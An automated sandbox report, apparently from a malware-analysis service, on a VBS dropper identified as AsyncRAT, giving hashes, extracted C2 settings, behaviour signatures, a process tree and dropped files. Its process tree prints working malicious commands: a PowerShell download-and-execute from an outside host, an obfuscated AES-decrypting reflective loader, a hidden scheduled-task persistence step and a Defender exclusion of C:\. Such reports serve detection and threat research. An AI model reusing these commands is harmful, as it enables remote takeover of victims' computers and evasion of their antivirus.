Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 20:19

General

  • Target

    1821_output.vbs

  • Size

    61KB

  • MD5

    6943e4c37b93c2a81a98a81e36d2d5ce

  • SHA1

    ad2ba17165344f88b6bf0befaac528feb8a3280f

  • SHA256

    57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f

  • SHA512

    78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80

  • SSDEEP

    768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes
  • delay

    3

  • install

    false

  • install_file

    dwmm.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1552
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES95B8.tmp" "c:\Users\Admin\AppData\Local\Temp\hqheuldx\CSC20DC45E6125F40CE8C171352629DC66.TMP"
            5⤵
              PID:2496
          • C:\windows\system32\cmstp.exe
            "C:\windows\system32\cmstp.exe" /au C:\windows\temp\d0dty4hj.inf
            4⤵
              PID:4312
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:764
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2176
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_997_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx997.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4760
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx997.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4456
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx997.bat" "
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1468
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx997.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4512
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4784

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        9751fcb3d8dc82d33d50eebe53abe314

        SHA1

        7a680212700a5d9f3ca67c81e0e243834387c20c

        SHA256

        ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

        SHA512

        54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        b39b8f81c005f71b68194a197dff72bd

        SHA1

        3e4f0bfd9e2ec005fb1126f157dc17d31634bb70

        SHA256

        46034d79d1c5c7406a8be126dec62ed6a925959a112786b717e4e8af280f7de5

        SHA512

        ae426dce8b7d8cf1377156fe4eab2d9af13e3c73eb0110e0e881f7d07f0a2f37f5b5766b4df63336330bd9d70cc32469fb0b3b1ae47c8f99f770bb624f5b6737

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        74d1002cda3a8f9a938b9dccb9a746b9

        SHA1

        ac8674cc788f31667cbcb9d87f824b59dca1f9eb

        SHA256

        691eef89596f30812d6e804b0301a33576e8e8e57f618e9e1200ba9ed87a7e43

        SHA512

        101127e270a542d1308d93559ec98ea28954cd76fd7bd0332f512424dae1e5e9807d24544bf2247760d33902bf0fdb784ff8479d21b45db542e624b47dfedad6

      • C:\Users\Admin\AppData\Local\Temp\RES95B8.tmp

        Filesize

        1KB

        MD5

        a77a7e146691c2809fcb85ce6ce1a777

        SHA1

        1374ed3aa92d3dae42815fa3b341a3ac1c85ad88

        SHA256

        86c56dd9d1f8f14a86b77066b9f1e33c2b5809432e009be7c684e6ee48011630

        SHA512

        0b15cef5370099dfce0a6bcf8c7ec3d0ee9a45d1317bd2691d0341951584ad816dbd36ce3250cc322c4eafbbaa1c751a43628c4a60f80b5e63dbbb6ee111090f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogloamp1.kx4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\c.bat

        Filesize

        53KB

        MD5

        5658af2134929280550a46a39d5d1254

        SHA1

        757ce11f87e3886b0320fca0bd6bf1f26968a25e

        SHA256

        942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

        SHA512

        e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

      • C:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.dll

        Filesize

        4KB

        MD5

        9364224a84b04fbce8bbbaefff3c28db

        SHA1

        6ea347522682e9ef936ec707721292300836bdf8

        SHA256

        5505a20e04c9bf14706852ab332b738c836a5dd194d8ee24fab04ed7895073fc

        SHA512

        4754fc740fa30cfddacd0737299f671cf885f57e489db7224dec82518b2808c66a97204419709b52c1b46d111a16f15137130dfb4ac644d811cca6d5d638b13d

      • C:\Users\Admin\AppData\Roaming\latencyx997.vbs

        Filesize

        111B

        MD5

        3ab0f8b3cb6d7a9afd717e9e4ba867af

        SHA1

        a672ae7d3a8decd06aef8c84a59bb0d1a18e18cc

        SHA256

        9ebef3a535675770a95db2af198a07ed0a89e606c67e7fdcf4139a6947807e82

        SHA512

        e9112760dad4b9cb3c97f9a9df3922fc4662598bf03eadbd65e42eaedee682d2913951feb309a2bdc0d5ad36c727543330201da2febd98257f9b7ff2a8adcfdb

      • C:\windows\temp\d0dty4hj.inf

        Filesize

        683B

        MD5

        a4fd12b94ad4ac06fabd8dd56dd5ff2b

        SHA1

        940d129205e04ba31b10a72d7a7a236a9ed0488b

        SHA256

        fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

        SHA512

        a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

      • \??\c:\Users\Admin\AppData\Local\Temp\hqheuldx\CSC20DC45E6125F40CE8C171352629DC66.TMP

        Filesize

        652B

        MD5

        7f086bb9cc6e70088e9177b652e8420d

        SHA1

        4656ef996abc5ca6ba12367d5db83a928414e8b7

        SHA256

        3032f1b2710eb00598e2838b517d1ee31df8ab60454e829a0fe9a85682afe32a

        SHA512

        72d362c2be01dc99b504bf616d73c35a8b159ebb09404eb391f87e96d15f8186bdd6135364c02fe239762364fd52758d9263745ead23920e3a9c6da8f05ff90e

      • \??\c:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.0.cs

        Filesize

        2KB

        MD5

        897ac4306f2a2524bc3c441bd00c72b9

        SHA1

        1703dbf9a2a78491dfd6685540d4691839e33b69

        SHA256

        a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

        SHA512

        2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

      • \??\c:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.cmdline

        Filesize

        369B

        MD5

        89535e4411f5e4cc8255694c81809511

        SHA1

        c0bc1b5e485dca04e1fa436615c03593401961a9

        SHA256

        6072fc7786a0b7123d45a53518152e1b46d93183ebff967cacf8b64a0b10cde7

        SHA512

        42b41aa89425b1c295e5d39862c9a35873110ebbe3c7580206c25be3164d1e6be06d6fd52ec2dc4365d0246f71686bbd7234b98840057fae7f0541ac689b595b

      • memory/736-13-0x00000216919A0000-0x00000216919BC000-memory.dmp

        Filesize

        112KB

      • memory/736-44-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

        Filesize

        10.8MB

      • memory/736-43-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

        Filesize

        8KB

      • memory/736-26-0x00000216AA860000-0x00000216AA868000-memory.dmp

        Filesize

        32KB

      • memory/736-48-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

        Filesize

        10.8MB

      • memory/736-0-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

        Filesize

        8KB

      • memory/736-12-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

        Filesize

        10.8MB

      • memory/736-11-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

        Filesize

        10.8MB

      • memory/736-1-0x00000216AA390000-0x00000216AA3B2000-memory.dmp

        Filesize

        136KB

      • memory/2176-56-0x00000000058F0000-0x0000000005956000-memory.dmp

        Filesize

        408KB

      • memory/2176-73-0x0000000006680000-0x0000000006688000-memory.dmp

        Filesize

        32KB

      • memory/2176-67-0x0000000005AB0000-0x0000000005E04000-memory.dmp

        Filesize

        3.3MB

      • memory/2176-69-0x0000000006090000-0x00000000060AE000-memory.dmp

        Filesize

        120KB

      • memory/2176-70-0x00000000060D0000-0x000000000611C000-memory.dmp

        Filesize

        304KB

      • memory/2176-71-0x00000000078F0000-0x0000000007F6A000-memory.dmp

        Filesize

        6.5MB

      • memory/2176-72-0x0000000006640000-0x000000000665A000-memory.dmp

        Filesize

        104KB

      • memory/2176-55-0x00000000051D0000-0x00000000051F2000-memory.dmp

        Filesize

        136KB

      • memory/2176-74-0x0000000007340000-0x00000000073DC000-memory.dmp

        Filesize

        624KB

      • memory/2176-75-0x0000000007460000-0x000000000746E000-memory.dmp

        Filesize

        56KB

      • memory/2176-76-0x0000000008520000-0x0000000008AC4000-memory.dmp

        Filesize

        5.6MB

      • memory/2176-57-0x0000000005A10000-0x0000000005A76000-memory.dmp

        Filesize

        408KB

      • memory/2176-54-0x00000000052C0000-0x00000000058E8000-memory.dmp

        Filesize

        6.2MB

      • memory/2176-53-0x0000000002AA0000-0x0000000002AD6000-memory.dmp

        Filesize

        216KB

      • memory/3228-123-0x0000000007CC0000-0x0000000007CD2000-memory.dmp

        Filesize

        72KB

      • memory/4760-87-0x00000000076D0000-0x0000000007702000-memory.dmp

        Filesize

        200KB

      • memory/4760-101-0x0000000007AD0000-0x0000000007B66000-memory.dmp

        Filesize

        600KB

      • memory/4760-102-0x0000000007A50000-0x0000000007A61000-memory.dmp

        Filesize

        68KB

      • memory/4760-100-0x00000000078C0000-0x00000000078CA000-memory.dmp

        Filesize

        40KB

      • memory/4760-99-0x0000000007710000-0x00000000077B3000-memory.dmp

        Filesize

        652KB

      • memory/4760-88-0x0000000070B40000-0x0000000070B8C000-memory.dmp

        Filesize

        304KB

      • memory/4760-98-0x00000000076B0000-0x00000000076CE000-memory.dmp

        Filesize

        120KB